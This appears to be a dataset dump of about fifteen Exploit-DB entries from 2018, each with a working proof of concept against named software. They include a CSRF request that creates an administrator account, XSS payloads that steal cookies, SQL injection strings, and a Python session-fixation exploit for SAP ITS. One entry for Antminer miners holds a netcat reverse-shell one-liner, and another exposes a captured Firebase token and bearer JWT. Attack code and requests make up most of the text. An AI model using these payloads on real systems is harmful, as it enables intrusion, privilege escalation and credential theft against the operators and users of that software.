QLWD/code_shield huggingface dataset:
标题: SearchBlox 8.6.6 - Cross-Site Request Forgery EDB-ID: 44801 CVE: 2018-11538 类型: WEBAPPS 平台: JAVA 发布日期: 2018-05-30 漏洞利用脚本: # Exploit Title: CSRF Privilege Escalation (Creation of an administrator
account) on SearchBlox 8.6.6
# Exploit Author: Canberk BOLAT, Ahmet GÜREL
# Software Link: https://www.searchblox.com/
# Version: < = SearchBlox Version 8.6.6
# Platform: Java
# Tested on: Windows
# CVE: CVE-2018-11538

# 1. DETAILS

Using Cross-Site Request Forgery (CSRF), an attacker can force a user who
is currently authenticated with a web application to execute an unwanted
action. The attacker can trick the user into loading a page which may send
a request to perform the unwanted action in the background. In the case of
Searchblox, we can use CSRF to perform actions on the admin dashboard by
targeting an administrator.

# 2. PoC:

We assume that Searchblox is installed at http://localhost:8080/. Our
target is /searchblox/servlet/UserServlet u_name, u_passwd1, u_passwd2 and
role parameter which is the page used to create a new user. The given POC
will create a user on the website which has full administrator privileges.

HTTP Request:

GET
/searchblox/servlet/UserServlet?u_name=best1&u_passwd1=test&u_passwd2=test&role=admin&new-group=&menu1=adm&menu2=db&action=addBuisnessUser
HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0)
Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8080/searchblox/admin/main.jsp?menu1=adm
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Cookie: JSESSIONID=touluja8tpjc1iiwquoyiigfi;
Connection: close
Upgrade-Insecure-Requests: 1

Attack Vector:

<img src="
http://target:8080/searchblox/servlet/UserServlet?u_name=best1&u_passwd1=test&u_passwd2=test&role=admin&new-group=&menu1=adm&menu2=db&action=addBuisnessUser"
width="0" height="0"> URL: https://www.exploit-db.com/exploits/44801
标题: wityCMS 0.6.1 - Cross-Site Scripting EDB-ID: 44790 CVE: 2018-11512 类型: WEBAPPS 平台: PHP 发布日期: 2018-05-28 漏洞利用脚本: # Exploit Title: wityCMS 0.6.1 Persistent XSS on "Website's name" field
# Date: 05/28/2018
# Exploit Author: Nathu Nandwani
# Website: http://nandtech.co/
# Vendor Homepage: https://creatiwity.net/witycms
# Software Link: https://github.com/Creatiwity/wityCMS/releases/tag/0.6.1
# Version: 0.6.1
# Tested on: Windows 10 x64 (XAMPP, Chrome)
# CVE: CVE-2018-11512

*Description
 
A persistent/stored cross-site scripting (XSS) vulnerability in the "Website's name" field found in the "Settings" page under the "General" menu in Creatiwity wityCMS 0.6.1 allows remote attackers to inject arbitrary web script or HTML via a crafted website name by doing an authenticated POST HTTP request to admin/settings/general.
 
*Proof of Concept
 
1. Attacker logs in as an administrator of the site.
2. Attacker visits the Administrator page and clicks on the general options then settings menu. 
3. Attacker enters the script below in the "Website's name" field:
<scri<script>pt>alert(1)</scri</script>pt>
Note: The "script" tag is being filtered but not recursively so having the first tag stripped off will still execute the one being combined. 
3. Once the "Save" button is clicked, the payload will execute.
4. When an unauthenticated user visits the home page, the payload will also execute.
  
*Mitigation
 
See https://github.com/Creatiwity/wityCMS/commit/7967e5bf15b4d2ee6b85b56e82d7e1229147de44
 
Timeline
 
2018-05-27-Vulnerability reported to wityCMS development team
2018-05-27-CVE requested from mitre.org
2018-05-28-wityCMS development team acknowledges and will be pushing the fix for production on 0.6.2
2015-05-28-CVE published by mitre: https://twitter.com/CVEnew/status/1001093385929805831 URL: https://www.exploit-db.com/exploits/44790
标题: MyBB ChangUonDyU Plugin 1.0.2 - Cross-Site Scripting EDB-ID: 44795 CVE: 2018-11532 类型: WEBAPPS 平台: PHP 发布日期: 2018-05-29 漏洞利用脚本: # Exploit Title: MyBB ChangUonDyU Advanced Statistics Plugin v1.0.2 - Cross-Site Scripting
# Date: 5/25/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?action=view&pid=1125
# Version: 1.0.2
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-11532


1. Description:
This plugin displays advanced statistics on the index page such as latest posts with auto refresh using AJAX.
 

 
2. Proof of Concept:
Create a new thread with the following payload as the title  <svg onload=alert('XSS')>

The alert will appear on the index page



3. Solution:
Update to the latest release URL: https://www.exploit-db.com/exploits/44795
标题: DomainMod 4.09.03 - 'sslpaid' Cross-Site Scripting EDB-ID: 44783 CVE: 2018-11404 类型: WEBAPPS 平台: PHP 发布日期: 2018-05-28 漏洞利用脚本: # Exploit Title: DomainMod v4.09.03 has XSS via the assets/edit/ssl-provider-account.php sslpaid parameter
# Date: 2018-05-28
# Exploit Author: longer（76439392@qq.com）
# Vendor Homepage: domainmod (https://github.com/domainmod/domainmod)
# Software Link: domainmod (https://github.com/domainmod/domainmod)
# Version: v4.09.03
# CVE : CVE-2018-11404
 
An issue was discovered in DomainMod v4.09.03.（https://github.com/domainmod/domainmod/issues/63）
After the user logged in, open the url:
http://127.0.0.1/assets/edit/ssl-provider-account.php?del=1&sslpaid=%27%22%28%29%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt%28931289%29%3C/ScRiPt%3E URL: https://www.exploit-db.com/exploits/44783
标题: DomainMod 4.09.03 - 'oid' Cross-Site Scripting EDB-ID: 44782 CVE: 2018-11403 类型: WEBAPPS 平台: PHP 发布日期: 2018-05-28 漏洞利用脚本: # Exploit Title: DomainMod v4.09.03 has XSS via the assets/edit/account-owner.php oid parameter
# Date: 2018-05-28
# Exploit Author: longer（76439392@qq.com）
# Vendor Homepage: domainmod (https://github.com/domainmod/domainmod)
# Software Link: domainmod (https://github.com/domainmod/domainmod)
# Version: v4.09.03
# CVE : CVE-2018-11403
 
An issue was discovered in DomainMod v4.09.03.（https://github.com/domainmod/domainmod/issues/63）
After the user logged in, open the url :
http://127.0.0.1/assets/edit/account-owner.php?del=1&oid=%27%22%28%29%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt%28973761%29%3C/ScRiPt%3E URL: https://www.exploit-db.com/exploits/44782
标题: Werewolf Online 0.8.8 - Information Disclosure EDB-ID: 44776 CVE: 2018-11505 类型: LOCAL 平台: ANDROID 发布日期: 2018-05-27 漏洞利用脚本: # Exploit Title: Werewolf Online 0.8.8  - Insecure Logging
# Date: 2018-05-24
# Software Link:
https://play.google.com/store/apps/details?id=com.werewolfapps.online
# Download Link:
https://apkpure.com/werewolf-online-unreleased/com.werewolfapps.online/download?from=details
# Exploit Author: ManhNho
# Version: 0.8.8 Android App
# CVE: CVE-2018-11505
# Category: Mobile Apps
# Tested on: Android 4.4

---Description---

Many developers log information to the android log. Sometimes sensitive
data as well.
With output of logcat, Hacker can get "Firebase token" which used in PUT
request to /players/meAndCheckAppVersion

---PoC---

root@vbox86p:/ # ps | grep 'were'
u0_a72    9161  205   810364 172268 ffffffff b765ea23 S
com.werewolfapps.online
root@vbox86p:/ # logcat | grep -i '9161'
I/ActivityManager(  586): Start proc com.werewolfapps.online for activity
com.werewolfapps.online/.MainActivity: pid=9161 uid=10072 gids={50072,
3003, 1028, 1015}
I/MultiDex( 9161): VM with version 1.6.0 does not have multidex support
I/MultiDex( 9161): Installing application
...
D/RNFirebaseMessaging( 9161): Firebase token:
dygrGiSN49o:APA91bGGcHdzgU_2SnDydd8R7_Lbj6KT7miTpBatk_j8pLhxgH9vX00vV3CuIEnVkqgK9HC8H9pldMeaUeJ2_H3Dz4QiXE0b3mlQA0lXvry6cAMwS77Jv3m6NJyuGu_7Hn-3E1BPRRh8
D/RNFirebaseAuth( 9161): getToken/getIdToken
D/RNFirebaseAuth( 9161): getToken:onComplete:success
...

Request:

PUT /players/meAndCheckAppVersion HTTP/1.1
authorization: Bearer
eyJhbGciOiJSUzI1NiIsImtpZCI6IjEyMDUwYzMxN2ExMjJlZDhlMWZlODdkN2FhZTdlMzk3OTBmNmMwYjQifQ.eyJpc3MiOiJodHRwczovL3NlY3VyZXRva2VuLmdvb2dsZS5jb20vd2VyZXdvbGYtb25saW5lLTE5MTgxMiIsImF1ZCI6IndlcmV3b2xmLW9ubGluZS0xOTE4MTIiLCJhdXRoX3RpbWUiOjE1MjcxMzU0MTUsInVzZXJfaWQiOiIzNUxUT2pGWGw4Tk1DMklURDZlc1VUdVZ0RDgyIiwic3ViIjoiMzVMVE9qRlhsOE5NQzJJVEQ2ZXNVVHVWdEQ4MiIsImlhdCI6MTUyNzEzNTQxNSwiZXhwIjoxNTI3MTM5MDE1LCJlbWFpbCI6IndlcmVAMGlscy5vcmciLCJlbWFpbF92ZXJpZmllZCI6ZmFsc2UsImZpcmViYXNlIjp7ImlkZW50aXRpZXMiOnsiZW1haWwiOlsid2VyZUAwaWxzLm9yZyJdfSwic2lnbl9pbl9wcm92aWRlciI6InBhc3N3b3JkIn19.dRcMrVgnOI0VlVMTinv_UitmNZ3Lx6MxWQkPbxrLtj4xNI-5TmqL-oMHA3M4wWxt6gCtvNl9aO10WzhHHaN5wSJ7cnuUkEJGNUmA5PUcQTR7-NJ8i28C_x7fkqbQYqr0LFJSNxfa3BNb6B8qRNPmNjf_k3KoarRtp2eIxXbY_2Zf9S9-E8qBeyMM5waBrc3KHhxP8fIkxmDQOcTi83YioD0B9lmb8pqzu2kHARhySDIRLxHehujSMbOBnwEdSWNdYXv3G0r9SSJqREjyjv-xYqMzmDYElQ71LcanaoKeHmyyEDnuKyctkyvOOKUARV5QF1eMvvS2jQXlHQUIr2slHw
Content-Type: application/json; charset=utf-8
Content-Length: 207
Host: api-core.werewolf-apps.com
Connection: close
Accept-Encoding: gzip, deflate
Cookie:
AWSELB=896D69710664CD95B9C2256646A1D3D31F91AA414E0FCA5064E93F2745A17C7AAAF7C2EDA090955CDC20408E213D8C06ACC71A484F0BB3CDD1FB3D4FADD3439C18EF311AB3
User-Agent: okhttp/3.6.0

{"versionNumber":48,"platform":"android","fcmToken":"dygrGiSN49o:APA91bGGcHdzgU_2SnDydd8R7_Lbj6KT7miTpBatk_j8pLhxgH9vX00vV3CuIEnVkqgK9HC8H9pldMeaUeJ2_H3Dz4QiXE0b3mlQA0lXvry6cAMwS77Jv3m6NJyuGu_7Hn-3E1BPRRh8"}

---References---
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11505
https://pastebin.com/NtPn3jB8 URL: https://www.exploit-db.com/exploits/44776
标题: Bitmain Antminer D3/L3+/S9 - Remote Command Execution EDB-ID: 44779 CVE: 2018-11220 类型: REMOTE 平台: HARDWARE 发布日期: 2018-05-27 漏洞利用脚本: # Exploit Title: Bitmain Antminer D3, L3+, and S9 devices allow Remote Command Execution
# Google Dork: N/A
# Date: 27/05/2018
# Exploit Author: Corrado Liotta
# Vendor Homepage: https://www.bitmain.com/
# Software Link: N/A
# Version: Antminer - D3, L3+, S9, and other
# Tested on: Windows/Linux
# CVE : CVE-2018-11220

#Description

The software used by the miners produced by the bitmain (AntMiner) is
affected by a vulnerability of remote code execution type, it is possible
through the "Retore Backup" functionality of the administration portal to
execute commands on the system. This would allow a malicious user with
valid credentials to access the entire file system with administrative
privileges.

#POC

Login on Antminer Configuration Portal (Default Credential: root/root)

1) Create a file named:

restoreConfig.sh

2) insert inside:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc your_ip your_port
>/tmp/f

3) Generate archive by inserting the file created before:

Exploit.tar

4) Launch net cat and upload file:

nc -vv -l -p port

system --> upgrade --> upload archive URL: https://www.exploit-db.com/exploits/44779
标题: ClipperCMS 1.3.3 - Cross-Site Scripting EDB-ID: 44775 CVE: 2018-11332 类型: WEBAPPS 平台: PHP 发布日期: 2018-05-27 漏洞利用脚本: # Exploit Title: ClipperCMS 1.3.3 Persistent XSS on 'Site name' field
# Date: 05/27/2018
# Exploit Author: Nathu Nandwani
# Website: http://nandtech.co/
# Vendor Homepage: http://www.clippercms.com/
# Software Link: https://github.com/ClipperCMS/ClipperCMS/releases/tag/clipper_1.3.3
# Version: 1.3.3
# Tested on: Windows 10 x64 (XAMPP, Chrome)
# CVE: CVE-2018-11332

*Description

A persistent/stored cross-site scripting (XSS) vulnerability in the "Site Name" field found in the "site" tab under configurations in ClipperCMS 1.3.3 has been discovered because it didn't sanitize user input. It allows authenticated remote attackers to inject arbitrary web script or HTML via a crafted site name to the manager/processors/save_settings.processor.php file.

*Proof of Concept

1. Attacker logs in as an administrator of the site.
2. Attacker visits the tools->configurations tab and enters the script below in the "Site name" field:
<script>alert('XSS')</script>
3. Once the "Save" button is clicked, the payload will execute.
4. When an unauthenticated user visits the login page "ClipperCMS/manager/", the payload will also execute.
 
*Mitigation

See https://github.com/nathunandwani/ClipperCMS/commit/f286fbfa81dc3728dbbf6d9d817c8848edcad0b2

Timeline

2018-05-21-Vulnerability reported to ClipperCMS development team
2018-05-21-CVE requested from mitre.org
2018-05-22-ClipperCMS development team acknowledges but according to them, bug is more on a trust issue rather than coding
2018-05-22-Added a potential fix in GitHub
2015-05-24-CVE published by mitre: https://twitter.com/CVEnew/status/999689171227865093 URL: https://www.exploit-db.com/exploits/44775
标题: EasyService Billing 1.0 - 'q' SQL Injection EDB-ID: 44765 CVE: 2018-11444 类型: WEBAPPS 平台: PHP 发布日期: 2018-05-26 漏洞利用脚本: <!--
# Exploit Title: EasyService Billing 1.0 SQL Injection on page jobcard-ongoing.php?q=
# Date: 25-05-2018
# Software Link: https://codecanyon.net/item/easyservice-billing-php-scripts-for-quotation-invoice-payments-etc/16687594 
# Exploit Author: Divya Jain
# Version: EasyService Billing 1.0 
# CVE: CVE-2018-11444
# Category: Webapps
# Severity: High
# Tested on: KaLi LinuX_x64
# # # # # # # #
#

# Proof of Concept:
        ////////////////////////////////
          SQL Injection in q parameter
        ///////////////////////////////
    Affected Link: test.com/EasyServiceBilling/jobcard-ongoing.php?q=
# Boolean Based Blind SQL
Payload: 1337'OR%20NOT 1=1--
Link: test.com/EasyServiceBilling/jobcard-ongoing.php?q=1337'OR%20NOT 1=1--

# Error-Based SQL
Payload: 1337'AND%20(SELECT%202%20FROM(SELECT%20COUNT(*),CONCAT(0x7162627161,(SELECT(ELT(2=2,1))),0x717a6b6271,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20'aBCD'='aBCD

Link: test.com/EasyServiceBilling/jobcard-ongoing.php?q=1337'AND%20(SELECT%202%20FROM(SELECT%20COUNT(*),CONCAT(0x7162627161,(SELECT(ELT(2=2,1))),0x717a6b6271,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20'aBCD'='aBCD
################################# URL: https://www.exploit-db.com/exploits/44765
标题: Oracle WebCenter FatWire Content Server < 7 - Improper Access Control EDB-ID: 44757 CVE: 2017-10033 类型: WEBAPPS 平台: LINUX 发布日期: 2018-05-25 漏洞利用脚本: # Exploit Title: Oracle WebCenter FatWire Content Server < 7 - Improper Access Control
# Dork: inurl:Satellite?pagename
# Date: 2017-10-17
# Exploit Author: Sebastian Cornejo Olave
# Vendor Homepage: http://oracle.com
# Version: 5.5.2 ,7.5 <=
# CVE: CVE-2017-10033
# Category: Webapps
# Tested on: Kali linux

# VULNERABILITY DESCRIPTION
# It has been discovered that there is an incorrect access control over
# several resources in previous versions of Fatwire (confirmed
# FutureTenseContentServer 5.5.2 ,7.5) that allow the sending of SQL
# queries and query the tables and database schema without authentication.

# PoC : Improper Access Control

PAYLOAD : SQL query

POST /cs/Satellite HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101
Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 98

tbl=AArticles&query=select+username%2Cpassword+from+systemusers&pagename=Support%2FVerify%2Fexport


PAYLOAD : show all table database
https://www.example.com/cs/Satellite?pagename=Support/Verify/tablelistHTML
https://www.example.com/cs/Satellite?pagename=Support/CacheManager/FlushTables&cmd=null

OR request

POST /cs/Satellite HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101
Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 98

pagename=Support/Verify/tablelistHTML


PAYLOAD : URL list ID installed Site

https://www.example.com/cs/Satellite?pagename=OpenMarket/Demos/index

# Collaborators
# Vis0r
# Queseguridad URL: https://www.exploit-db.com/exploits/44757
标题: EasyService Billing 1.0 - Cross-Site Scripting EDB-ID: 44764 CVE: 2018-11443 类型: WEBAPPS 平台: PHP 发布日期: 2018-05-26 漏洞利用脚本: <!--
# Exploit Title: EasyService Billing 1.0 Cross-Site Scripting in 'q' Parameter
# Date: 25-05-2018
# Software Link: https://codecanyon.net/item/easyservice-billing-php-scripts-for-quotation-invoice-payments-etc/16687594 
# Exploit Author: Divya Jain
# Version: EasyService Billing 1.0 
# CVE: CVE-2018-11443
# Category: Webapps
# Severity: Medium
# Tested on: KaLi LinuX_x64
# # # # #
# 
# Proof of Concept:
#
            ///////////
           //  XSS  //
          ///////////
 
 Affected Link: http://test.com/EasyServiceBilling/jobcard-ongoing.php?q=
 Payload: %27%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%27
 Parameter: q
 Link: http://test.com/EasyServiceBilling/jobcard-ongoing.php?q=%27%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%27
 
 ########################################################################### URL: https://www.exploit-db.com/exploits/44764
标题: SAP Internet Transaction Server 6200.x - Session Fixation / Cross-Site Scripting EDB-ID: 44755 CVE: 2018-11415 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2018-05-25 漏洞利用脚本: # Exploit Title: SAP Internet Transaction Server (ITS) 6200.X.X - Session Fixation/ Cross-Site Scripting
# Dork: /scripts/wgate/
# Date: 25.05.2018
# Exploit Author: J. Carrillo Lencina (0xd0m7)
# Vendor Homepage: https://www.sap.com
# Version: SAP ITS 6200.X.X
# Category: Webapps
# Tested on: All Platforms
# CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11415
# Description:As it has been determined that there are two
vulnerabilities in the latest developed version of SAP ITS, these two
vulnerabilities added together give rise to an XSS.

#Technical details: It has been determined that when an unauthenticated
user navigates through the application, the application assigns a cookie,
that cookie is assigned in the parameter ~ session, therefore it could be
possible for an attacker to fix the fallo ~ session through a request GET
This, together with the fact that the parameter SERVICEUNIQUE has a
parameter validation failure, results in a single-use XSS, since the
session expires once the method of the request is exchanged and fixed in
the URL.

#Exploit
#!/usr/bin/python
import argparse
import requests
import re
 
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="Example: https://example.com/wgate/scripts/ralp/!")
args = parser.parse_args()
list=[]
i=0
cookie={'s_fid':'3B9C1B379A11790F-00A298287FA44BF5','s_lv':'1524222141316', 's_nr':'1524222141322-New', 's_vnum':'1555758141333%26vn%3D1'}
url=args.url.split('/')
url2='https://'+str(url[2])+'/'+str(url[3])+'/'+str(url[4])+'/'

if args.url:
 r = requests.get(args.url,verify=False,cookies=cookie)
 header = r.headers['Set-Cookie']
 cookie_val = header.split(";")

 for line in r.iter_lines():
         list.append(line)
         i=i+1
         if line.find('~SERVICEUNIQUE') > 0:
                 param = line.replace('"','')
                 v = param.split('=')
                 val0 = v[3].split(' ')
   print '[+]Random Value:',val0[0]

 for line2 in range(len(cookie_val)):
         if cookie_val[line2].find('~session') == 0:
                 val1 = cookie_val[line2].split('=')
   print '[+]Session Value:',val1[1]
 print '[+] Vulnerable URL:'+url2+val0[0]+'%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3e/?%7ESERVICEUNIQUE='+val0[0]+'%3cimg%20src%3da%20onerror%3dalert(1)%3e&%7Eclientinput=1&%7Elogininput=1&%7Epasswdinput=1&%7Eclient=100&%7Elogin=%3F&%7Epassword=aaaaa&%7EPOV=P&%7EOkCode%3D%2F0=Entrar&~session='+val1[1]


else:
 print '[!] Empty URL, please see help (-h,--help)' URL: https://www.exploit-db.com/exploits/44755
标题: Honeywell XL Web Controller - Cross-Site Scripting EDB-ID: 44749 CVE: 2014-3110 类型: WEBAPPS 平台: LINUX 发布日期: 2018-05-24 漏洞利用脚本: # Exploit Title: Honeywell XL Web Controller - Cross-Site Scripting
# Date: 2018-05-24
# Exploit Author: t4rkd3vilz
# Vendor Homepage: https://www.honeywell.com
# Version: WebVersion : XL1000C50 EXCEL WEB 52 I/O, XL1000C100 EXCEL WEB
# 104 I/O, XL1000C500 EXCEL WEB 300 I/O, XL1000C1000 EXCEL WEB 600 I/O,
# XL1000C50U EXCEL WEB 52 I/O UUKL, XL1000C100U EXCEL WEB 104 I/O UUKL,
# XL1000C500U EXCEL WEB 300 I/O UUKL, and XL1000C1000U EXCEL WEB 600 I/O UUKL.
# Tested on: Linux
# CVE: CVE-2014-3110

# PoC

POST /standard/mainframe.php HTTP/1.1
Cache-Control: no-cache
Referer: http://79.2.122.25/standard/mainframe.php
Accept: text/xml,application/xml,application/xhtml+xml,text/
html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/41.0.2272.16 Safari/537.36
Accept-Language: en-us,en;q=0.5
Cookie: Locale=1033
Accept-Encoding: gzip, deflate
Content-Length: 222
Content-Type: application/x-www-form-urlencoded

SessionID=&LocaleID='or'1=1&LoginSessionID=&LoginUserNameMD5="/><svg/
onload=prompt(/XSS/)>
&LoginPasswordMD5=&LoginCommand=&LoginPassword=&
rememberMeCheck=&LoginDevice=192.168.1.12&LoginUserName=Guest

HTTP/1.1 200 OK
Set-Cookie: rememberUser=deleted; expires=Wednesday, 24-May-17 08:54:02
GMT; path=/
Server: Apache/1.3.23 (Unix) PHP/4.4.9
X-Powered-By: PHP/4.4.9
Content-Type: text/html
Transfer-Encoding: chunked
Date: Thu, 24 May 2018 08:54:03 GMT

<br />
<b>Warning</b>:  xw_get_users() expects parameter 1 to be long, string
given in <b>/mnt/mtd6/xlweb/web/standard/login/loginpage.php</b> on line
<b>97</b><br />
<br />
<b>Warning</b>:  xml_load_texts_file() expects parameter 2 to be long,
string given in <b>/mnt/mtd6/xlweb/web/standard/include/elements.php</b> on
line <b>247</b><br />
<html>
  <head>
    <meta http-equiv="content-type" content="text/html; charset=utf-8"/>
    <meta http-equiv="expires" content="0"/>
    <link rel="stylesheet" href="include/honeywell.css"/>
    <title><br />
<b>Notice</b>:  Undefined index:  HeadTitle in <b>/mnt/mtd6/xlweb/web/
standard/login/loginpage.php</b> on line <b>300</b><br />
</title> URL: https://www.exploit-db.com/exploits/44749
标题: Oracle WebCenter Sites 11.1.1.8.0/12.2.1.x - Cross-Site Scripting EDB-ID: 44752 CVE: 2018-2791 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2018-05-25 漏洞利用脚本: # Exploit Title: Multiple XSS Oracle WebCenter Sites (FatWire Content
Server) 7.x < 11gR1
# Dork: inurl:Satellite?c
# Date: 18.12.201
# Exploit Author: Richard Alviarez
# Vendor Homepage: http://oracle.com
# Version: 7.x < 11gR1
# CVE: CVE-2018-2791
# Category: Webapps
# Tested on: Kali linux
====================================================

# VULNERABILITY DESCRIPTION

 The backend of the Content Server is prone to permanent and reflected
 Cross-Site Scripting attacks. The vulnerability can be used to include
 HTML- or JavaScript code to the affected web page. The code is executed
 in the browser of users if they visit the manipulated site.
 The vulnerability can be used to change the contents of the displayed
site,
 redirect to other sites or steal user credentials. Additionally, Portal
 users are potential victims of browser exploits and JavaScript Trojans.

====================================================


# PoC : XSS :


PAYLOAD:

servlet/Satellite?c=Noticia&cid={ID}&pagename=OpenMarket/Gator/FlexibleAssets/AssetMaker/confirmmakeasset&cs_imagedir=eee%22%3E%3Cscript%3Ealert(123)%3C/script%3E%3C

Note: {ID} Change for ID to site example (1362484193835)

Other vulnerable parameters:

PAYLOAD:

servlet/Satellite?c=Noticia&cid={ID}&pagename=OpenMarket/Gator/FlexibleAssets/AssetMaker/confirmmakeasset&cs_imagedir=eee"<scriptalert(document.cookie)</script


PAYLOAD:

servlet/Satellite?destpage="<h1xxx<scriptalert(1)</script&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError

====================================================


#Collaborators

- CuriositySec
- Vis0r
- Oxd0m7
- Vict0r URL: https://www.exploit-db.com/exploits/44752
标题: Flash ActiveX 28.0.0.137 - Code Execution (1) EDB-ID: 44744 CVE: 2018-4878 类型: LOCAL 平台: WINDOWS 发布日期: 2016-02-16 漏洞利用脚本: ## CVE-2018-4878 (flash exploit)

Pop up a calculator - tested with installation of flash activeX plugin 28.0.0.137

Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44744.xlsx URL: https://www.exploit-db.com/exploits/44744